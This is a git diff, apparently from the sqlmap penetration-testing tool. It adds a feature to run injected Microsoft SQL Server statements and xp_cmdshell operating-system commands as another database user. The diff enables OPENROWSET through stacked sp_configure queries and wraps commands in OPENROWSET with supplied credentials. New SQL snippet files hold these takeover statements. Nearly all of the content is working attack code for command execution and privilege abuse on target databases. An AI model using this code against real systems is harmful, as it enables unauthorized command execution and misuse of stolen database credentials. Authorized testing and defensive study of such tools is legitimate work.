diff --git a/lib/request/direct.py b/lib/request/direct.py
index e64aa5271..41740648e 100644
--- a/lib/request/direct.py
+++ b/lib/request/direct.py
@@ -45,8 +45,8 @@ def direct(query, content=True):
     logger.log(9, query)
 
     output = hashDBRetrieve(query, True, True)
-
     start = time.time()
+
     if not select and "EXEC " not in query:
         _ = timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None)
     elif not (output and "sqlmapoutput" not in query and "sqlmapfile" not in query):
diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py
index c0f590e92..877acc92b 100644
--- a/lib/takeover/abstraction.py
+++ b/lib/takeover/abstraction.py
@@ -8,6 +8,7 @@ See the file 'doc/COPYING' for copying permission
 from extra.safe2bin.safe2bin import safechardecode
 from lib.core.common import dataToStdout
 from lib.core.common import Backend
+from lib.core.common import getSPQLSnippet
 from lib.core.common import isTechniqueAvailable
 from lib.core.common import readInput
 from lib.core.data import conf
@@ -16,6 +17,7 @@ from lib.core.enums import DBMS
 from lib.core.enums import PAYLOAD
 from lib.core.exception import sqlmapUnsupportedFeatureException
 from lib.core.shell import autoCompletion
+from lib.request import inject
 from lib.takeover.udf import UDF
 from lib.takeover.web import Web
 from lib.takeover.xp_cmdshell import xp_cmdshell
@@ -139,7 +141,39 @@ class Abstraction(Web, UDF, xp_cmdshell):
 
             self.runCmd(command)
 
+    def __initRunAs(self):
+        if not conf.dCred:
+            return
+
+        if not conf.direct and not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
+            errMsg = "stacked queries is not supported hence sqlmap cannot "
+            errMsg += "execute statements as another user. The execution "
+            errMsg += "will continue and the DBMS credentials provided "
+            errMsg += "will simply be ignored"
+            logger.error(errMsg)
+
+            return
+
+        if Backend.isDbms(DBMS.MSSQL):
+            msg = "on Microsoft SQL Server 2005 and 2008, OPENROWSET function "
+            msg += "is disabled by default. This function is needed to execute "
+            msg += "statements as another DBMS user since you provided the "
+            msg += "--dbms-creds switch. If you are DBA, you can enable it. "
+            msg += "Do you want to enable it? [Y/n] "
+            choice = readInput(msg, default="Y")
+
+            if not choice or choice in ("y", "Y"):
+                expression = getSPQLSnippet(DBMS.MSSQL, "configure_openrowset", ENABLE="1")
+                inject.goStacked(expression)
+
+        # TODO: add support for PostgreSQL
+        #elif Backend.isDbms(DBMS.PGSQL):
+        #    expression = getSPQLSnippet(DBMS.PGSQL, "configure_dblink", ENABLE="1")
+        #    inject.goStacked(expression)
+
     def initEnv(self, mandatory=True, detailed=False, web=False):
+        self.__initRunAs()
+
         if self.envInitialized:
             return
 
diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py
index 89f81ce31..346d20669 100644
--- a/lib/takeover/xp_cmdshell.py
+++ b/lib/takeover/xp_cmdshell.py
@@ -21,6 +21,7 @@ from lib.core.data import logger
 from lib.core.enums import DBMS
 from lib.core.enums import HASHDB_KEYS
 from lib.core.exception import sqlmapUnsupportedFeatureException
+from lib.core.settings import SQL_STATEMENTS
 from lib.core.threads import getCurrentThreadData
 from lib.core.unescaper import unescaper
 from lib.request import inject
@@ -147,6 +148,21 @@ class xp_cmdshell:
         if cmd:
             self.xpCmdshellExecCmd(cmd)
 
+    def xpCmdshellForgeRunAs(self, query):
+        if conf.dCred:
+            for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
+                for sqlStatement in sqlStatements:
+                    if query.lower().startswith(sqlStatement):
+                        sqlType = sqlTitle
+                        break
+
+            if sqlType and "SELECT" not in sqlType:
+                query = "SELECT 1;%s" % query
+
+            query = getSPQLSnippet(DBMS.MSSQL, "run_statement_as_user", USER=conf.dbmsUsername, PASSWORD=conf.dbmsPassword, STATEMENT=query.replace("'", "''"))
+
+        return query
+
     def xpCmdshellForgeCmd(self, cmd):
         self.__randStr = randomStr(lowercase=True)
         self.__cmd = "0x%s" % hexencode(cmd)
@@ -154,7 +170,7 @@ class xp_cmdshell:
         self.__forgedCmd += "SET @%s=%s;" % (self.__randStr, self.__cmd)
         self.__forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self.__randStr)
 
-        return self.__forgedCmd
+        return self.xpCmdshellForgeRunAs(self.__forgedCmd)
 
     def xpCmdshellExecCmd(self, cmd, silent=False):
         cmd = self.xpCmdshellForgeCmd(cmd)
diff --git a/procs/README.txt b/procs/README.txt
index c2218e561..e281df706 100755
--- a/procs/README.txt
+++ b/procs/README.txt
@@ -1,3 +1,3 @@
-Files in this folder represent SPL/SQL snippets used
-by sqlmap on the target system. They are licensed under the terms of
-the GNU Lesser General Public License.
+Files in this folder represent SPL/SQL snippets used by sqlmap on the target
+system. They are licensed under the terms of the GNU Lesser General Public
+License.
diff --git a/procs/mssqlserver/configure_openrowset.txt b/procs/mssqlserver/configure_openrowset.txt
new file mode 100644
index 000000000..95242e05a
--- /dev/null
+++ b/procs/mssqlserver/configure_openrowset.txt
@@ -0,0 +1,6 @@
+EXEC master..sp_configure 'show advanced options', 1;
+RECONFIGURE WITH OVERRIDE;
+EXEC master..sp_configure 'Ad Hoc Distributed Queries', %ENABLE%;
+RECONFIGURE WITH OVERRIDE;
+EXEC sp_configure 'show advanced options', 0;
+RECONFIGURE WITH OVERRIDE;
diff --git a/procs/mssqlserver/run_statement_as_user.txt b/procs/mssqlserver/run_statement_as_user.txt
new file mode 100644
index 000000000..71f3a46b7
--- /dev/null
+++ b/procs/mssqlserver/run_statement_as_user.txt
@@ -0,0 +1 @@
+SELECT * FROM OPENROWSET('SQLOLEDB','';'%USER%';'%PASSWORD%','%STATEMENT%');